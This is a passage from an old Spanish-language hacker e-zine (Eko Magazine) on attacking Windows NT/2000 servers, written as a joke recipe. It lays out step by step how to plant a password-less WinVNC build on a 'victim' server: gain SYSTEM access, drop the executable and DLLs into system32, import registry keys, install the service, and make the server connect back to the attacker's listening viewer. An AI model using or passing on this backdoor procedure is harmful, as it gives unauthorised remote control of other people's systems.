en la web). (Pueden bajarlo de www.downloads.com) Ingredientes: Winvncserver modificado para que no pida passwd x default. Acceso como admin en un servidor NT o 2k. 4 cucharaditas de azucar "donia celia cruz". 2 Huevos bien puestos (no sean mal pensados). 1 Aceite de cocina "Elaion, para menor desgaste en el arranque". 2 panes de explosivos C4. 1 cucharada de amor . 1 foto de Pamela Anderson con ropa puesta (se que es dificil pero se dice que las hay). Una vez que tengamos los ingredientes necesarios empesamos a instalar el winvnc en nuestra victima. 1st: Consigamos privilegios de SYSTEM en el Target (lo explique anteriormente). 2nd: Suban y ubiquen los archivos winvnc.exe, vnchooks.dll y omnithread_rt.dll en el directorio c:\winnt\system32. 3th: Instalemos Winvnc (muy importante que para que funcione consigan una version que no pida passwd por default). Todos dicen que no funciona y si funciona pero nadie entiende que los passwd se encriptan y jamas podria tener el mismo hash un mismo passwd tengan en cuenta que las entries en el registry que creamos en nuestra pc al instalarlo vamos a exportarlas a el servidor que queremos atacar. 4th: Una vez instalado en nuestra pc. prendemos nuestro Regedit y exportamos la key HKLM/Software/ORL a un archivo.reg. 5th: Subimos nuestro archivo.reg al servidor y lo agregamos al registro del server al que estamos atacando con el comando "regedit archivo.reg". 6th: Ejecutamos el comando "winvnc -install" dentro de la carpeta c:\winnt\system32. 7th: Ejecutamos el comando "net start winvnc". 8th: En nuestra pc ahora vamos a ejecutar el comando "vncviewer -listen" de esta manera el cliente de VNC quedara a la escucha de una coneccion entrante. :) 9th: Ejecutamos en el servidor victima "winvnc -connect" <nuestro ip> . 10th: Somos unos 31337s hax0rs mal0rs del lado oscuro de la red y llegamos hasta lo mas oscuro de la matrixx owniando hasta el escritorio ;). Esto fue tonto por ahora, aunque dejo muchisimas cosas mas en el tintero creo que es una fuerte base para los que recien se inician y para los no tan novatos siempre sacan algo productivo :). Gracias Ezkracho Team por permitirme compartir mas de 40.000 bytes de mi trabajo junto a su grupo !!. Saludos a todos !!!. <$[ Eko Magazine 3 Revange EOF. ]$> <$[ Test de Penetracion en Microsoft Windows NT y 2000 ]$$>